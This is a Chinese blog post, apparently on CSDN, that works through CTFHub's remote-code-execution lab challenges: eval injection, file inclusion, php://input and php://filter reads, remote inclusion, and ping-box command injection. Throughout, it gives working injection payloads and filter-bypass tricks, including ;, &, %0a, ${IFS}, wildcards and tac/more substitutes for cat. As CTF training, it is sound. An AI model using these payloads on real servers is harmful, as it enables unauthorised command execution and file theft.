CTFHub-RCE

RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)是互联网的一种安全漏洞。

它可以让攻击者直接向后台服务器远程注入操作系统命令,相当于直接操控服务器电脑的cmd命令行!从而操控后台系统,高危漏洞!

RCE漏洞产生的根本原因:服务器像php环境版本对可执行变量函数没有做过滤,导致在没有自定义相对路径的情况下就运行命令去执行,从而导致服务器被入侵。

eval执行

我们直接在输入栏上输入类似cmd的命令行,直接操作web服务器执行我们所写的命令内容

源代码:把命令赋值给cmd然后执行
在这里插入图片描述

查看根目录文件

 /?cmd=system("ls");

在这里插入图片描述

查看上层目录文件

/?cmd=system("ls /");

在这里插入图片描述
发现flag文件,打开文件

/?cmd=system("cat /flag_25527");

在这里插入图片描述

文件包含


这次用了第一个的用法,发现不能跳转,查了一下发现要用post请求

注意:指定post的参数是-X

查看根目录下的文件

curl http://challenge-f05c3f8de577c75c.sandbox.ctfhub.com:10800?file=shell.txt -X POST -d "ctfhub=system('ls');"

在这里插入图片描述
查看上层目录

curl http://challenge-f05c3f8de577c75c.sandbox.ctfhub.com:10800?file=shell.txt -X POST -d "ctfhub=system('ls /');"

在这里插入图片描述
将flag中的内容输出

curl http://challenge-f05c3f8de577c75c.sandbox.ctfhub.com:10800?file=shell.txt -X POST -d "ctfhub=system('cat /flag');"

在这里插入图片描述

php://input

php://input 是个可以访问请求的原始数据的只读流。
php:// — 访问各个输入/输出流(I/O streams)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

读取源代码

http://challenge-fed4f529e8cc5fff.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag

首先这是一个file关键字的get参数传递,
php://是一种协议名称,php://filter/是一种访问本地文件的协议,
/read=convert.base64-encode/表示读取的方式是base64编码后,
resource=/flag表示目标文件为flag。

在这里插入图片描述
打开base64解密
在这里插入图片描述

远程包含

查看源代码
在这里插入图片描述

在这里插入图片描述
发现和php://input的解法一致
使用burp suit抓包

查看根目录

<?php system('ls');?>

在这里插入图片描述
查看上级目录

<?php system('ls /');?>

在这里插入图片描述
将flag中的内容输出

<?php system('cat /flag');?>

在这里插入图片描述

命令注入

1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件

本关简介:这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件
在这里插入图片描述
然后输入

ip & cat *.php | base64

base64加密是要有的,不然没有内容,被杀毒工具拦截

我只解密了第一行,flag就出来了
在这里插入图片描述
在这里插入图片描述

过滤cat

本题提示:过滤了cat命令之后,你还有什么方法能读到 Flag?

cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
使用more输出base64密文
12.0.0.1 & more flag_1482210209678.php | base64

ip & tac *.php | base64
在这里插入图片描述
在这里插入图片描述

过滤空格

过滤了空格,使用<代替空格(这一步也可以用/**/代替空格,但是下一步就不管用了,不知道为啥)

12.0.0.1/**/&/**/ls

在这里插入图片描述

127.0.0.1|cat<flag_268272345114208.php|base64

在这里插入图片描述
在这里插入图片描述

过滤目录分隔符

12.0.0.1 & ls

在这里插入图片描述

12.0.0.1;cd flag_is_here;ls

在这里插入图片描述

12.0.0.1;cd flag_is_here;cat flag_25031515915026.php|base64

在这里插入图片描述

过滤运算符

127.0.0.1 ; ls

在这里插入图片描述

127.0.0.1 ; base64 flag_179401013825017.php

过滤了管道符|,不能再使用了。但是base64 a.php和a.php|base64是等价的。

在这里插入图片描述

综合过滤

过滤了(\||&|;| |\/|cat|flag|ctfhub)

空格可以用${IFS}
cat可以用more
flag可以用正则f***
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
因为这个都是url编码所以都要直接写在网址内部
?ip=127.0.0.1%0als#

在这里插入图片描述

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

在这里插入图片描述

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_14642431519912.php

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值